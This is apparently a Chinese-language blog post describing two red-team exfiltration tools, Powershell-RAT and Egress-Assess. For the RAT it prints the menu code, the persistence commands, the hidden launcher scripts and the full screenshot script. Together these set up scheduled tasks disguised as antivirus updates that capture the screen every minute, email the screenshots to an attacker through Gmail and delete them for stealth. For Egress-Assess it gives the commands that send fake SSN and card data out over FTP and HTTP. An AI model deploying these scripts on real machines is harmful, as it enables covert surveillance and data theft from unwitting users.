Data Exfiltration

Powershell-RAT

基于Python的后门程序,它使用Gmail将数据作为电子邮件附件进行泄露。

此RAT将帮助红队合作期间的任何人将任何Windows计算机后门。它使用屏幕捕获跟踪用户活动,并将信息作为电子邮件附件发送给攻击者。

1
python3 PowershellRAT.py

查看源码

点击数字键执行函数

1
2
3
4
5
6
7
8
9
10
11
cmds = {
"1" : cmd_exectionPolicy,
"2" : cmd_takeScreenshot,
"3" : cmd_ScreenShotTaskScheduler,
"4" : cmd_sendMail,
"5" : cmd_MailTaskScheduler,
"6" : cmd_deleteScreenShot,
"7" : cmd_deleteTaskScheduler,
"8" : cmd_HailMary,
"9" : lambda: sys.exit(0)
}
  • 按1:此选项将执行策略设置为不受限制使用Set-ExecutionPolicy Unrestricted。这在管理员计算机上很有用
  • 按2:这将使用Shoot.ps1Powershell脚本获取用户计算机上当前屏幕的屏幕截图
  • 按3:此选项使用户机器后门schtasks并将任务名称设置为MicrosoftAntiVirusCriticalUpdatesCore
  • 按4:此选项使用用户计算机发送电子邮件Powershell。这些使用Mail.ps1文件将截屏作为附件发送到exfiltrate数据
  • 按5:此选项使用户机器后门schtasks,并将任务名称设置为MicrosoftAntiVirusCriticalUpdatesUA
  • 按6:此选项从用户计算机中删除屏幕截图以保持隐身
  • 按7:此选项使用户机器后门schtasks并将任务名称设置为MicrosoftAntiVirusCriticalUpdatesDF
  • 按8:此选项press 8通过键盘上的单个按钮执行上述所有操作。攻击者将收到一封电子邮件,每封电子邮件都5 minutes附有屏幕截图。屏幕截图将在删除后删除12 minutes
  • 按9:从程序中正常退出或按 Control+C

README中的cmd_HailMary

查看执行的命令

1
2
3
powershell schtasks /create /sc minute /mo 1 /tn MicrosoftAntiVirusCriticalUpdatesCore /tr C:\Python36\Shoot.vbs
powershell schtasks /create /sc minute /mo 5 /tn MicrosoftAntiVirusCriticalUpdatesUA /tr C:\Python36\Mail.vbs
powershell schtasks /create /sc minute /mo 12 /tn MicrosoftAntiVirusCriticalUpdatesDF /tr C:\Python36\delScreenShot.vbs

第一条命令内容:创建一个名为MicrosoftAntiVirusCriticalUpdatesCore的计划任务,然后执行shoot.vbs文件的内容。

管理计划任务
SCHTASKS /parameter [arguments]

/Create 创建新计划任务。

/Delete 删除计划任务。

/Query 显示所有计划任务。

/Change 更改计划任务属性。

/Run 按需运行计划任务。

/End 中止当前正在运行的计划任务。

/ShowSid 显示与计划的任务名称相应的安全标识符。

f/? 显示帮助消息。

/SC schedule 指定计划频率

/MO modifier 改进计划类型以允许更好地控制计划重复

shoot.vbs

1
2
3
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "C:\Python36\Shoot.bat" & Chr(34), 0
Set WinScriptHost = Nothing

shoot.bat

1
2
@echo off
PowerShell -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\Python36\Shoot.ps1'"

shoot.ps1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
############################################################################
# Capturing a screenshot
#############################################################################
#Param(
#[Parameter(Mandatory = $true)][string]$Path
#)
$OutPath = "$env:USERPROFILE\Documents\ScreenShot"
if (-not (Test-Path $OutPath))
{
New-Item $OutPath -ItemType Directory -Force
}
$FileName = "$env:COMPUTERNAME - $(get-date -f yyyy-MM-dd_HHmmss).png"
#$File = "$OutPath\$FileName"
$File = Join-Path $OutPath $fileName
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
# Gather Screen resolution information
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
# Create bitmap using the top-left and bottom-right bounds
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
# Create Graphics object
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
# Capture screen
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
# Save to file
$bitmap.Save($File)
#Write-Output "Screenshot saved to:"
Write-Output $File
#############################################################################

powershell文件的意思就是通过$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen设置图像参数,再通过$bitmap = New-Object System.Drawing.Bitmap $Width, $Height获得图像参数,$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)获取图像。

然后再通过Mail.vbs执行类似操作

填入发送人gmail信息和收件人gmail地址即可。

最后delScreenShot.vbs进行删除操作。

Egress-Assess

安装模块

1
2
3
4
5
dnslib
pyftpdlib
scapy
paramiko
impacket

选择STMP,ICMP,ftp,SFTP,SMB,DNS_TXT,DNS_Reslove服务测试出口数据检测功能,助横向移动。

针对FTP

服务端执行

1
python Egress-Assess.py --server ftp --username testuser --password pass123

客户端(也就是要横向移动的目标)

1
./Egress-Assess.py --client ftp --username test --password pass --datatype ssn --ip 192.168.63.149

在与Egress-Assess相同的目录中,将创建“数据”目录。在其中将存储所有传输的文件。此时,通过FTP完成传输.

针对HTTP

默认情况下,Egress-Assess将生成大约1兆字节的数据(社会安全号码或信用卡号码)

服务端执行

1
./Egress-Assess.py --server http

客户端执行

1
python Egress-Assess.py --client http --data-size 15 --ip 10.0.85.55 --datatype cc
-------------本文结束感谢您的阅读-------------